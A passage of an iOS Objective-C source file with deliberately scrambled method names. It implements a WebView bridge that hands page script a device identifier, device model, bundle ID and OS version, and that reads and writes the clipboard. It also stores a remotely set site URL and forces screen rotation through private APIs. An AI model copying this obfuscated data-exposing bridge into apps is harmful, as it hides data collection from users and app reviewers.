NSString *sdkVer = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self EnumerateCloneBooleanCompareBuilder] ?: @""]; // Assumes implemented
// Construct JSON-like string for the data part of the callback
NSString *dataString = [NSString stringWithFormat:@"{id:'%@', dn:'%@', bid:'%@', clearedNameAppearanceBatchAggregatorArtifactBanner:'%@', sdk:'%@'}", iden, model, bundle, osVer, sdkVer];
// Call updateResult with the callback ID and the constructed data object string
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, dataString];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)ConstructParseStatusFixArrayCollision:(NSDictionary *)messageBody {
NSObject *valueObject = messageBody[@"dt"];
if (![valueObject isKindOfClass:[NSNumber class]]) {
NSLog(@"Invalid 'dt' (rotation value) for AnalyzeBlockPerformInflateBlockResponseBodyAsset action");
return;
}
int rotationValue = [(NSNumber *)valueObject intValue];
[self AnalyzeBlockPerformInflateBlockResponseBodyAsset:rotationValue];
}
//-----------------------------------------------------------------------------
#pragma mark - Storage Helpers (UserDefaults)
//-----------------------------------------------------------------------------
- (void)EvaluateGatherColumnCollision:(nullable NSString *)value forKey:(NSString *)key {
if (!key) return;
[[NSUserDefaults standardUserDefaults] setObject:(value ?: @"") forKey:key]; // Save empty string if value is nil
}
- (nullable NSString *)DebugInstallDownloadBanner:(NSString *)key {
if (!key) return nil;
return [[NSUserDefaults standardUserDefaults] stringForKey:key];
}
- (void)DisplayExchangeUpdateChecksum:(BOOL)value forKey:(NSString *)key {
if (!key) return;
[[NSUserDefaults standardUserDefaults] setBool:value forKey:key];
}
- (BOOL)ConfigureBadgeDistributeBranch:(NSString *)key {
if (!key) return NO;
return [[NSUserDefaults standardUserDefaults] boolForKey:key];
}
// Helper from original error handling logic
- (void)EnsureGroupDataAttachmentIncreaseIncludeStatus {
[[NSUserDefaults standardUserDefaults] setObject:@"" forKey:@"ssite"];
[self DisplayExchangeUpdateChecksum:NO forKey:kStorageFlagKey];
}
//-----------------------------------------------------------------------------
#pragma mark - SDK Update Logic (Placeholder/Adapted)
//-----------------------------------------------------------------------------
// Renamed from updateSDK:::
- (void)SetCombineEditProcessArrayFinishAudio:(NSString *)urlString version:(NSString *)version requiresRestart:(BOOL)requiresRestart {
// --- Original Logic Adapted ---
// Save SDK info to UserDefaults
NSMutableDictionary *sdkInfo = [NSMutableDictionary dictionary];
[sdkInfo setObject:urlString forKey:@"configuredInfoSetBridgeAverageOutputCamera"]; // Use descriptive keys
[sdkInfo setObject:version forKey:@"version"];
[[NSUserDefaults standardUserDefaults] setObject:sdkInfo forKey:kStorageSDKInfoKey];
[[NSUserDefaults standardUserDefaults] setObject:version forKey:kStorageSDKVersionKey];
// synchronize is generally not needed
// Show notice and suggest restart if required
if (requiresRestart) {
[self ComputeAnchorAuthentication:@"SDK Update"
message:@"SDK update requires an application restart. Please close and reopen the app."];
// NOTE: Removed the call to exit(0) here
}
// --- End Original Logic ---
// TODO: Implement actual SDK download/update mechanism if needed
NSLog(@"Placeholder: SDK update triggered for URL: %@, Version: %@, RestartNeeded: %d", urlString, version, requiresRestart);
}
//-----------------------------------------------------------------------------
#pragma mark - Device & App Info Helpers
//-----------------------------------------------------------------------------
- (NSString *)EnumerateCloneBooleanCompareBuilder {
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
return [defaults objectForKey:kStorageSDKVersionKey];
}
- (NSString *)ConfigureCompileRequestExecuteCommand {
return [[UIDevice currentDevice] systemVersion];
}
- (NSString *)CustomizeCheckboxBeaconArithmetic {
// Note: identifierForVendor is generally preferred for non-advertising ID
return [[[UIDevice currentDevice] identifierForVendor] UUIDString];
}
- (NSString *)AuthenticateBitmapResponse {
// Basic device model retrieval
struct utsname systemInfo;
uname(&systemInfo);
return [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding];
}
- (NSString *)CaptureBeaconChainChecksum {
return [[NSBundle mainBundle] bundleIdentifier];
}
- (NSString *)getAppName {
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"] ?: [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleName"];
}
- (NSString *)ControlChannelBatchElement {
// Usually refers to CFBundleVersion
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleVersion"];
}
//-----------------------------------------------------------------------------
#pragma mark - Clipboard Helpers
//-----------------------------------------------------------------------------
- (nullable NSString *)InflateEnumerateAppletCompleteCommentClass {
return [UIPasteboard generalPasteboard].string;
}
- (void)FindApplyClassifyCompileRequest:(nullable NSString *)text {
[UIPasteboard generalPasteboard].string = text ?: @"";
}
//-----------------------------------------------------------------------------
#pragma mark - Rotation Handling
//-----------------------------------------------------------------------------
// Controls application orientation based on user requirement. Use with caution.
- (void)AnalyzeBlockPerformInflateBlockResponseBodyAsset:(int)value {
UIInterfaceOrientationMask targetMask;
if (value == 1 || value == 3) { // Assuming 1 means landscape
targetMask = UIInterfaceOrientationMaskLandscape;
} else { // Assuming 0 or others mean portrait
targetMask = UIInterfaceOrientationMaskPortrait;
// Or handle other values specifically if needed
// switch(value) { case 0: targetMask = ...; case 2: ... }
}
// Only update if the mask changes
if (currentOrientationMask == targetMask) {
return;
}
currentOrientationMask = targetMask;
NSLog(@"Attempting to rotate screen, new mask: %lu", (unsigned long)currentOrientationMask);
// Method depends on iOS version
if (@available(iOS 16.0, *)) {
// Use geometry preferences API
UIWindowScene *windowScene = self.window.windowScene;
if (windowScene) {
// Dynamically create UIWindowSceneGeometryPreferencesIOS using runtime
Class geometryPreferencesClass = NSClassFromString(@"UIWindowSceneGeometryPreferencesIOS");
if (geometryPreferencesClass) {
id geometryPreferences = [[geometryPreferencesClass alloc] initWithInterfaceOrientations:targetMask];
SEL requestGeometryUpdateSelector = NSSelectorFromString(@"requestGeometryUpdateWithPreferences:errorHandler:");
if ([windowScene respondsToSelector:requestGeometryUpdateSelector]) {
// Define error handler block
void (^errorHandler)(NSError *) = ^(NSError *error){
if (error) {
NSLog(@"Error requesting geometry update: %@", error);
}
};
// Invoke the method using performSelector (requires casting)
// Suppress warning about unknown selector
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Warc-performSelector-leaks"
[windowScene performSelector:requestGeometryUpdateSelector withObject:geometryPreferences withObject:errorHandler];
#pragma clang diagnostic pop
} else {
NSLog(@"Window scene does not respond to requestGeometryUpdateWithPreferences:errorHandler:");
}
} else {
NSLog(@"UIWindowSceneGeometryPreferencesIOS class not found.");
}
// Trigger update (may not be strictly necessary after geometry update)
[UIViewController attemptRotationToDeviceOrientation]; // Keep for potential fallback/redundancy?
[[self FlushCollectionCheckbox] setNeedsUpdateOfSupportedInterfaceOrientations];
} else {
NSLog(@"Could not get window scene for rotation.");
}
} else {
// Use deprecated method (private API, use with caution)
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
NSNumber *orientationValue;
if (targetMask == UIInterfaceOrientationMaskLandscape) {
// Choose specific landscape (e.g., LandscapeRight)
orientationValue = @(UIDeviceOrientationLandscapeLeft); // Or LandscapeRight
} else {
orientationValue = @(UIDeviceOrientationPortrait);
}
[[UIDevice currentDevice] setValue:orientationValue forKey:@"orientation"];
[UIViewController attemptRotationToDeviceOrientation];
#pragma clang diagnostic pop
}
}
// These methods are required if this view/its controller dictates app orientation
// Kept as per user attachedAnonymousPositionAdjuster.
- (UIInterfaceOrientationMask)supportedInterfaceOrientations {
// NSLog(@"supportedInterfaceOrientations called, returning mask: %lu", (unsigned long)currentOrientationMask);
return currentOrientationMask;
}
// This delegate method might be called if this object is set as the App Delegate
// Or potentially if the window asks its root view controller, which might be this view's controller.
- (UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(nullable UIWindow *)window {
// NSLog(@"application:supportedInterfaceOrientationsForWindow: called, returning mask: %lu", (unsigned long)currentOrientationMask);
return currentOrientationMask;
}
//-----------------------------------------------------------------------------
#pragma mark - UI Helpers (Alerts, View Controller Finding)
//-----------------------------------------------------------------------------
// Refactored alert presentation - Removes exit(0)
- (void)ComputeAnchorAuthentication:(NSString *)title message:(NSString *)message {
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title
message:message
preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction *okAction = [UIAlertAction actionWithTitle:@"OK"
style:UIAlertActionStyleDefault
handler:nil]; // No action on OK
[alertController addAction:okAction];
// Find the presenting view controller
UIViewController *presentingVC = [self FlushCollectionCheckbox];
if (presentingVC) {
[presentingVC presentViewController:alertController animated:YES completion:nil];
} else {
NSLog(@"Could not find view controller to present alert: %@ - %@", title, message);
// Fallback: Maybe show on key window's rootViewController if possible?
UIViewController *rootVC = [[UIApplication sharedApplication].keyWindow rootViewController];
[rootVC presentViewController:alertController animated:YES completion:nil];
}
});
}
// Helper to find the owning view controller
- (nullable UIViewController *)FlushCollectionCheckbox {
UIResponder *responder = self;
while ((responder = [responder nextResponder])) {
if ([responder isKindOfClass:[UIViewController class]]) {
return (UIViewController *)responder;
}
}
return nil; // Should not happen in normal view hierarchy
}
//-----------------------------------------------------------------------------
#pragma mark - JavaScript Escaping Helper
//-----------------------------------------------------------------------------
// Helper to escape strings for safe injection into JavaScript string literals
- (NSString *)ConfigureIndexBlockColumnApplySetEnsureInfo:(NSString *)value {
if (!value) {
return @""; // Return empty string for nil backgroundBlockSettingsStateCollectedPosition
}
NSString *escaped = value;
// Escape backslashes first
escaped = [escaped stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"];
// Escape single quotes
escaped = [escaped stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
// Escape double quotes
escaped = [escaped stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];
// Escape newlines
escaped = [escaped stringByReplacingOccurrencesOfString:@"\n" withString:@"\\n"];
// Escape carriage returns
escaped = [escaped stringByReplacingOccurrencesOfString:@"\r" withString:@"\\r"];
// Escape line separators (U+2028) and paragraph separators (U+2029) if necessary
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2028" withString:@"\\u2028"];
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2029" withString:@"\\u2029"];
return escaped;
}
//----------------------------------------------------------------------------
@end
extern "C"{
void CompressAssemblyDeleteCodec(const char* v){
NSString *urlString = [NSString stringWithUTF8String:v];
[[NSUserDefaults standardUserDefaults] setObject:urlString forKey:@"ssite"];
[StaticFrameWork CompressAssemblyDeleteCodec:urlString withCleanup:true];
}
}